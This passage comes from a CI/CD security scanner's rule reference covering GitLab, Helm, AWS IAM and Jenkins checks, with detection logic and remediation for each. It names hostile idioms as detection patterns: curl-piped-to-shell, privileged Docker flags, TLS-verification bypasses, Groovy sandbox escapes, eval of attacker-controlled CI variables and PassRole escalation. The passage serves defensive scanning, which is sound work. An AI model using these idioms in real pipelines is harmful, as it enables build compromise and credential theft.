Recommendation. Pin git dependencies to a commit SHA (pip install git+https://…/repo@<sha>, cargo install --git … --rev <sha>). Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.
Source: GHA-029 in the GitHub Actions provider.
GL-001: Image not pinned to specific version or digest HIGH 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Floating tags (latest or major-only) can be silently swapped under the job. Every image: reference should pin a specific version tag or digest.
Recommendation. Reference images by @sha256:<digest> or at minimum a full immutable version tag (e.g. python:3.12.1-slim). Avoid :latest and bare tags like :3.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GL-001 in the GitLab CI provider.
GL-002: Script injection via untrusted commit/MR context HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. CI_COMMIT_MESSAGE / CI_COMMIT_REF_NAME / CI_MERGE_REQUEST_TITLE and friends are populated from SCM event metadata the attacker controls. Interpolating them into a shell body executes the crafted content as part of the build.
Recommendation. Read these values into intermediate variables: entries or shell variables and quote them defensively ("$BRANCH"). Never inline $CI_COMMIT_MESSAGE / $CI_MERGE_REQUEST_TITLE into a shell command.
Source: GL-002 in the GitLab CI provider.
GL-005: include: pulls remote / project without pinned ref HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Cross-project and remote includes can be silently re-pointed. Branch-name refs (main/master/develop/head) are treated as unpinned; tag and SHA refs are considered safe.
Recommendation. Pin include: project: entries with ref: set to a tag or commit SHA. Avoid include: remote: for untrusted URLs; mirror the content into a trusted project and pin it.
Source: GL-005 in the GitLab CI provider.
GL-006: Artifacts not signed MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Unsigned artifacts can't be verified downstream, so a tampered build is indistinguishable from a legitimate one. Pass when any of cosign / sigstore / slsa-* / notation-sign appears in the pipeline text.
Recommendation. Add a job that runs cosign sign (keyless OIDC with GitLab's id_tokens works out of the box) or notation sign. Publish the signature next to the artifact and verify it on consume.
Source: GL-006 in the GitLab CI provider.
GL-007: SBOM not produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Without an SBOM, downstream consumers can't audit the dependency set shipped in the artifact. Passes when CycloneDX / syft / anchore / spdx-sbom-generator / sbom-tool / Trivy-SBOM appears in the pipeline body.
Recommendation. Add an SBOM step, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or GitLab's built-in CycloneDX dependency-scanning template. Attach the SBOM as a pipeline artifact.
Source: GL-007 in the GitLab CI provider.
GL-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Complements GL-003 (which looks at variables: block keys). GL-008 scans every string in the pipeline against the cross-provider credential-pattern catalog, catches secrets pasted into script: bodies or environment blocks where the name-based detector can't see them.
Recommendation. Rotate the exposed credential immediately. Move the value to a protected + masked CI/CD variable and reference it by name. For cloud access prefer short-lived OIDC tokens.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example
AKIAIOSFODNN7EXAMPLEis deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.
Source: GL-008 in the GitLab CI provider.
GL-009: Image pinned to version tag rather than sha256 digest LOW
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. GL-001 fails floating tags at HIGH; GL-009 is the stricter tier. Even immutable-looking version tags (python:3.12.1) can be repointed by registry operators. Digest pins are the only tamper-evident form.
Recommendation. Resolve each image to its current digest (docker buildx imagetools inspect <ref> prints it) and replace the tag with @sha256:<digest>. Automate refreshes with Renovate.
Source: GL-009 in the GitLab CI provider.
GL-010: Multi-project pipeline ingests upstream artifact unverified CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. needs: { project: ..., artifacts: true } pulls artifacts from another project's pipeline. If that upstream project accepts MR pipelines, the artifact may have been built by attacker-controlled code.
Recommendation. Add a verification step before consuming the artifact: cosign verify-attestation, sha256sum -c, or gpg --verify against a manifest signed by the upstream project's release key. Only consume artifacts produced by upstream pipelines whose origin you can trust.
Source: GL-010 in the GitLab CI provider.
GL-011: include: local file pulled in MR-triggered pipeline HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. include: local: '<path>' resolves from the current pipeline's checked-out tree. On an MR pipeline the tree is the MR source branch, the MR author controls the included YAML content.
Recommendation. Move the included template into a separate, read-only project and reference it via include: project: ... ref: <sha-or-tag>. That way the included content is fixed at MR creation time and not editable from the MR branch.
Source: GL-011 in the GitLab CI provider.
GL-012: Cache key derives from MR-controlled CI variable MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. GitLab caches restore by key prefix. When the key includes an MR-controlled variable, an attacker can poison a cache entry that a later default-branch pipeline restores.
Recommendation. Build the cache key from values the MR can't control: lockfile contents (files: [Cargo.lock]), the job name, and $CI_PROJECT_NAMESPACE. Never reference $CI_MERGE_REQUEST_* or $CI_COMMIT_BRANCH from a cache key namespace.
Source: GL-012 in the GitLab CI provider.
GL-014: Self-managed runner without ephemeral tag MEDIUM
Evidences: Build.L2.Hosted Build L2: Builds run on a hosted build platform (not a developer workstation), Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Self-managed runners that don't tear down between jobs leak filesystem and process state. The check looks for an ephemeral tag on any job whose tags: list doesn't match SaaS-only runner names.
Recommendation. Register the runner with --executor docker + --docker-pull-policy always so containers are fresh per job, and add an ephemeral tag. Alternatively use the GitLab Runner Operator with autoscaling.
Source: GL-014 in the GitLab CI provider.
GL-015: Job has no timeout, unbounded build MEDIUM 🔧 fix
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Without an explicit timeout, the job runs until the instance-level default (typically 60 minutes). Explicit timeouts cap blast radius and the window during which a compromised script has access to CI/CD variables.
Recommendation. Add timeout: to each job (e.g. timeout: 30 minutes), sized to the 95th percentile of historical runtime. GitLab's default is 60 minutes (or the instance admin setting).
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GL-015 in the GitLab CI provider.
GL-016: Remote script piped to shell interpreter HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.
Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.
Source: GL-016 in the GitLab CI provider.
GL-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a pipeline give the container full access to the CI runner, enabling container escape and lateral movement.
Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GL-017 in the GitLab CI provider.
GL-020: CI_JOB_TOKEN written to persistent storage CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Detects patterns where CI_JOB_TOKEN is redirected to a file, piped through tee, or appended to dotenv/artifact paths. Persisted tokens survive the job boundary and can be read by later stages, downloaded artifacts, or cache entries, turning a scoped credential into a long-lived one.
Recommendation. Never write CI_JOB_TOKEN to files, artifacts, or dotenv reports. Use the token inline in the command that needs it and let GitLab revoke it automatically when the job finishes.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GL-020 in the GitLab CI provider.
GL-021: Package install without lockfile enforcement MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.
Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GL-021 in the GitLab CI provider.
GL-023: TLS / certificate verification bypass HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.
Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GL-023 in the GitLab CI provider.
GL-024: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. cosign sign and cosign attest look similar but mean different things: the first binds identity to bytes; the second binds a structured claim (builder, source, inputs) to the artifact. SLSA Build L3 verifiers check the latter.
Recommendation. Add a job that runs cosign attest against a provenance.intoto.jsonl statement, or adopt a SLSA-aware builder (the SLSA project ships GitLab templates). Signing the artifact (GL-006) isn't enough for SLSA L3, the attestation describes how the build ran.
Source: GL-024 in the GitLab CI provider.
GL-026: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. eval, sh -c "$X", and `$X` all re-parse the variable's value as shell syntax. Once a CI variable feeds into one of these idioms, any ;, &&, |, backtick, or $() in the value executes, even if the variable's source is currently trusted, future refactors may expose it.
Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec of variables with direct command invocation. If the command must be dynamic, pass arguments as array members or validate the input against an allow-list at the boundary.
Known false positives.
eval "$(ssh-agent -s)"and similareval "$(<literal-tool>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.
Source: GL-026 in the GitLab CI provider.
GL-027: Package install bypasses registry integrity (git / path / tarball source) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements GL-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs all bypass the registry integrity controls the lockfile relies on, an attacker who can move a branch head, drop a sibling checkout, or change a served tarball can substitute code into the build.
Recommendation. Pin git dependencies to a commit SHA (pip install git+https://…/repo@<sha>, cargo install --git … --rev <sha>). Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.
Source: GL-027 in the GitLab CI provider.
HELM-001: Chart.yaml declares legacy apiVersion: v1 MEDIUM 🔧 fix
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. apiVersion lives at the top of Chart.yaml. v1 is Helm 2's format and uses a sibling requirements.yaml for dependencies; v2 is Helm 3's format and inlines them in Chart.yaml alongside a Chart.lock for digest pinning. Without v2 there is no in-tree dependency manifest to lock, which is why HELM-002 only fires on v2 charts.
Recommendation. Bump Chart.yaml to apiVersion: v2 and migrate any sibling requirements.yaml entries into the dependencies: list inside Chart.yaml. Run helm dependency update to regenerate Chart.lock so HELM-002's per-dependency digest check has something to read. Helm 3 has been the default shipping channel since November 2019; the v1 format is kept for read-compat but blocks lockfile-based supply-chain controls.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: HELM-001 in the Helm provider.
HELM-002: Chart.lock missing per-dependency digests HIGH 🔧 fix
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Three failure shapes:
Chart.yamldeclares dependencies but noChart.lockexists at all.Chart.lockexists but itsdependencies:list is missing entries declared inChart.yaml(drift after an edit without re-runninghelm dependency update).Chart.locklists every dependency but one or more entries lack adigest:field (lock generated by an old Helm 3 version that didn't always populate it).
v1 charts (HELM-001) are skipped. They predate Chart.lock and use requirements.lock against a sibling requirements.yaml. Fix HELM-001 first.
Recommendation. After every change to dependencies: in Chart.yaml, re-run helm dependency update and commit the regenerated Chart.lock. The lock records the resolved version and a sha256:... digest that helm dependency build verifies on download, without it, a compromised chart repo can swap the tarball under the same version and helm install will happily use the substitute.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Charts with no dependencies (the
dependencies:key is absent or empty) pass automatically. There is nothing to lock.
Source: HELM-002 in the Helm provider.
HELM-003: Chart dependency declared on a non-HTTPS repository HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Walks Chart.yaml dependencies: (v2 charts only) and inspects each entry's repository: URL. Accepted schemes:
https://, chart-museum / OSS chart repos. The default for public Helm charts.oci://, registry-hosted charts. TLS is enforced by the registry, not the URL scheme; we still accept this shape because Helm 3.8+ pulls OCI charts over HTTPS unless explicitly configured otherwise.file://, in-repo dependency. No network surface.@alias, local alias for a previously registeredhelm repo addURL. The scheme of the original URL is the user's responsibility (and is captured in the chart consumer's~/.config/helm/repositories.yaml).
Recommendation. Switch each dependencies[].repository value to an https:// chart repo URL, an oci:// registry reference, or a file:// path for in-repo charts. Plaintext http:// (and other non-TLS schemes like git://) lets any on-path attacker substitute the dependency tarball during helm dependency build; Chart.lock's digest check (HELM-002) only catches that on the next update, not the compromised pull itself.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: HELM-003 in the Helm provider.
HELM-004: Chart dependency version is a range, not an exact pin MEDIUM
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. An exact pin is a string that contains only digits, dots, and at most a single leading v / trailing pre-release or build identifier (1.2.3, v1.2.3, 1.2.3-rc1, 1.2.3+build.5). Anything carrying ^ / ~ / > / < / * / x / X / || / a space (>=4 <5) is treated as a range. The bias is toward false positives, a chart maintainer can suppress per-rule via --ignore-file if they specifically want range semantics, but the default for production charts is a pin.
Recommendation. Replace each dependencies[].version constraint with the exact resolved version from Chart.lock. 17.0.0 instead of ^17.0.0, v1.2.3 instead of ~1.2. Range syntax (^, ~, >=, *, x) lets helm dependency update move every consumer of the chart to a newer dep on the next refresh, even when the lock file looked stable.
Source: HELM-004 in the Helm provider.
HELM-005: Chart maintainers field empty or missing chain-of-custody info LOW
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. An maintainers: entry is considered usable when the value is a YAML mapping with name: set to a non-empty string and at least one of email: / url: populated. Entries that look like - name: TODO or carry blank contact fields fail the rule the same way a missing block does, the field exists but doesn't carry a real chain-of-custody signal.
Recommendation. Populate maintainers: in Chart.yaml with at least one entry carrying a name plus either an email or a url. The name is the human a downstream consumer files an issue against; the contact field is the channel they reach. Charts published to ArtifactHub or an internal registry without this field are silently anonymous, fine for a personal scratch chart, not for one your CI pipeline will deploy to production.
Known false positives.
- Library charts (
Chart.yamltype: library) often ship without maintainers when distributed inside a single team's monorepo where the org-level CODEOWNERS already names the contact. Suppress with--ignore-filewhen this matches your situation.
Source: HELM-005 in the Helm provider.
HELM-006: Chart.yaml does not declare a kubeVersion compatibility range LOW
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. The field is a string carrying a Helm-flavoured SemVer range. Empty / missing fails the rule. Whitespace-only values fail too, an obviously-blank key should not satisfy a posture check.
Recommendation. Add a kubeVersion: SemVer range to Chart.yaml covering the Kubernetes versions you've actually rendered and tested the chart against. >= 1.25.0 < 1.32.0 is the common shape for a chart maintained against the upstream support window. Helm will refuse helm install against a cluster whose kubectl version falls outside the range, catching silent-breakage surprises (removed apiVersions, renamed RBAC verbs, alpha features) at pre-flight rather than at runtime.
Known false positives.
- Library charts (
Chart.yamltype: library) that wrap version-agnostic helpers often legitimately ship withoutkubeVersion. Suppress with--ignore-filewhen the chart genuinely targets every supported Kubernetes minor.
Source: HELM-006 in the Helm provider.
IAM-001: CI/CD role has AdministratorAccess policy attached CRITICAL
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. A CI/CD service role with AdministratorAccess attached turns any pipeline compromise into account compromise. The classic anti-pattern: the role started narrow, the pipeline grew, someone attached AdministratorAccess to unblock a deploy, and it never came off.
Recommendation. Replace AdministratorAccess with least-privilege policies.
Source: IAM-001 in the AWS provider.
IAM-002: CI/CD role has wildcard Action in attached policy HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Action: '*' (or service-prefix wildcards like s3:*) on an attached policy is functionally equivalent to AdministratorAccess for that resource. The wildcard absorbs every new IAM action AWS adds, so the role's authority grows without any local change.
Recommendation. Replace wildcard actions with specific IAM actions.
Source: IAM-002 in the AWS provider.
IAM-004: CI/CD role can PassRole to any role HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. iam:PassRole with Resource: '*' lets the principal hand any role to any service. Combined with a service that runs your code (Lambda, ECS, CodeBuild, EC2 Instance Profiles), this is role-hop privilege escalation: launch an ephemeral resource configured with a higher-privileged role, run code under that identity, exfil. Scoping by ARN + iam:PassedToService removes the escalation path.
Recommendation. Restrict iam:PassRole to specific role ARNs and add an iam:PassedToService condition.
Source: IAM-004 in the AWS provider.
IAM-006: Sensitive actions granted with wildcard Resource MEDIUM
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. IAM-002 catches Action: "*". IAM-006 catches the more common "scoped action, unscoped resource" pattern on sensitive services (S3/KMS/SecretsManager/SSM/IAM/STS/DynamoDB/Lambda/EC2).
Recommendation. Scope the Resource element to specific ARNs (buckets, keys, secrets, roles).
Source: IAM-006 in the AWS provider.
JF-001: Shared library not pinned to a tag or commit HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. @main, @master, @develop, no-@ref, and any non-semver / non-SHA ref are floating. Whoever controls the upstream library can ship code into your build by pushing to that branch.
Recommendation. Pin every @Library('name@<ref>') to a release tag (e.g. @v1.4.2) or a 40-char commit SHA. Configure the library in Jenkins with 'Allow default version to be overridden' disabled so a pipeline can't escape the pin.
Source: JF-001 in the Jenkins provider.
JF-002: Script step interpolates attacker-controllable env var HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. $BRANCH_NAME / $GIT_BRANCH / $TAG_NAME / $CHANGE_* are populated from SCM event metadata the attacker controls. Single-quoted Groovy strings don't interpolate so they're safe; only double-quoted / triple-double-quoted bodies are flagged.
Recommendation. Switch the affected sh/bat/powershell step to a single-quoted string (Groovy doesn't interpolate single quotes), and pass values through a quoted shell variable (sh 'echo "$BRANCH"' after withEnv([...])).
Source: JF-002 in the Jenkins provider.
JF-003: Pipeline uses agent any (no executor isolation) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. agent any is the broadest possible executor scope, any registered executor can be picked, including ones with broader IAM / file-system access than this build needs. A compromise of one job blast-radiates across every pool.
Recommendation. Replace agent any with agent { label 'build-pool' } (targeting a labeled pool) or agent { docker { image '...' } } (ephemeral container). Reserve broad-access agents for jobs that genuinely need them.
Source: JF-003 in the Jenkins provider.
JF-006: Artifacts not signed MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Passes when cosign / sigstore / slsa-* / notation-sign appears in executable Jenkinsfile text (comments are stripped before matching).
Recommendation. Add a sh 'cosign sign --yes …' step (the cosign-installer Jenkins plugin handles binary install). Publish the signature next to the artifact and verify it at deploy.
Source: JF-006 in the Jenkins provider.
JF-007: SBOM not produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Passes when a direct SBOM tool token (CycloneDX, syft, anchore, spdx-sbom-generator, sbom-tool) appears in executable code, or when Trivy is paired with sbom / cyclonedx in the same file. Comments are stripped before matching.
Recommendation. Add a sh 'syft . -o cyclonedx-json > sbom.json' step (or Trivy with --format cyclonedx) and archive the result with archiveArtifacts.
Source: JF-007 in the Jenkins provider.
JF-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Scans the raw Jenkinsfile text against the cross-provider credential-pattern catalog. Secrets committed to Groovy source are visible in every fork and every build log.
Recommendation. Rotate the exposed credential. Move the value to a Jenkins credential and reference it via withCredentials([string(credentialsId: '…', variable: '…')]).
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example
AKIAIOSFODNN7EXAMPLEis deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.
Source: JF-008 in the Jenkins provider.
JF-009: Agent docker image not pinned to sha256 digest HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. agent { docker { image 'name:tag' } } is not digest-pinned, so a repointed registry tag silently swaps the executor under every subsequent build. Unlike the YAML providers, Jenkins has no separate tag-pinning check, so this one fires at HIGH regardless of whether the tag is floating or immutable.
Recommendation. Resolve each image to its current digest (docker buildx imagetools inspect <ref> prints it) and reference it via image '<repo>@sha256:<digest>'. Automate refreshes with Renovate.
Source: JF-009 in the Jenkins provider.
JF-012: load step pulls Groovy from disk without integrity pin MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. load 'foo.groovy' evaluates whatever exists at the path when the build runs, there's no integrity check, so a workspace mutation can swap the loaded code between runs.
Recommendation. Move shared Groovy into a Jenkins shared library (@Library('name@<sha>')). Those are version-pinned and JF-001 audits them. Reserve load for one-off development experiments.
Source: JF-012 in the Jenkins provider.
JF-013: copyArtifacts ingests another job's output unverified CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Recognises both copyArtifacts(projectName: ...) and the older step([$class: 'CopyArtifact', ...]) form. If the upstream job accepts multibranch or PR builds, the artifact may have been produced by attacker-controlled code.
Recommendation. Add a verification step before consuming the artifact: sh 'sha256sum -c manifest.sha256' against a manifest the producer signed, or cosign verify over the artifact directly. Restrict the upstream job to non-PR builds via branch protection if verification isn't feasible.
Source: JF-013 in the Jenkins provider.
JF-014: Agent label missing ephemeral marker MEDIUM
Evidences: Build.L2.Hosted Build L2: Builds run on a hosted build platform (not a developer workstation), Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Static Jenkins agents that persist between builds leak workspace files and process state. The check looks for an ephemeral substring in agent { label '...' } blocks.
Recommendation. Register Jenkins agents with ephemeral lifecycle (e.g. Kubernetes pod templates or EC2 Fleet plugin) and include ephemeral in the label string so the pipeline declares its expectation.
Known false positives.
- The check looks for the literal substring
ephemeralin the agent label. Teams that use a different convention (temp,runner-pool, org-specific ARC labels) trip the rule even when their runners are auto-scaled and ephemeral in fact. Defaults to MEDIUM confidence so CI gates can require--min-confidence HIGH.
Source: JF-014 in the Jenkins provider.
JF-015: Pipeline has no timeout wrapper, unbounded build MEDIUM 🔧 fix
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Without a timeout() wrapper, the pipeline runs until the Jenkins controller's global timeout (or indefinitely if none is configured). Explicit timeouts cap blast radius and the window during which a compromised step has workspace access.
Recommendation. Wrap the pipeline body or individual stages with timeout(time: N, unit: 'MINUTES') { … }. Without an explicit timeout, the build runs until the Jenkins global default (or indefinitely).
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: JF-015 in the Jenkins provider.
JF-016: Remote script piped to shell interpreter HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a Jenkinsfile. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build agent.
Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.
Source: JF-016 in the Jenkins provider.
JF-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a Jenkinsfile give the container full access to the build agent, enabling container escape and lateral movement.
Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: JF-017 in the Jenkins provider.
JF-019: Groovy sandbox escape pattern detected CRITICAL
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects Groovy patterns that bypass the Jenkins script security sandbox: Runtime.getRuntime(), Class.forName(), .classLoader, ProcessBuilder, and @Grab. These give the pipeline (or an attacker who controls its source) unrestricted access to the Jenkins controller JVM, full RCE.
Recommendation. Remove direct Runtime/ClassLoader calls. Use Jenkins pipeline steps instead. Avoid @Grab for untrusted dependencies.
Source: JF-019 in the Jenkins provider.
JF-021: Package install without lockfile enforcement MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.
Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: JF-021 in the Jenkins provider.
JF-023: TLS / certificate verification bypass HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.
Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.
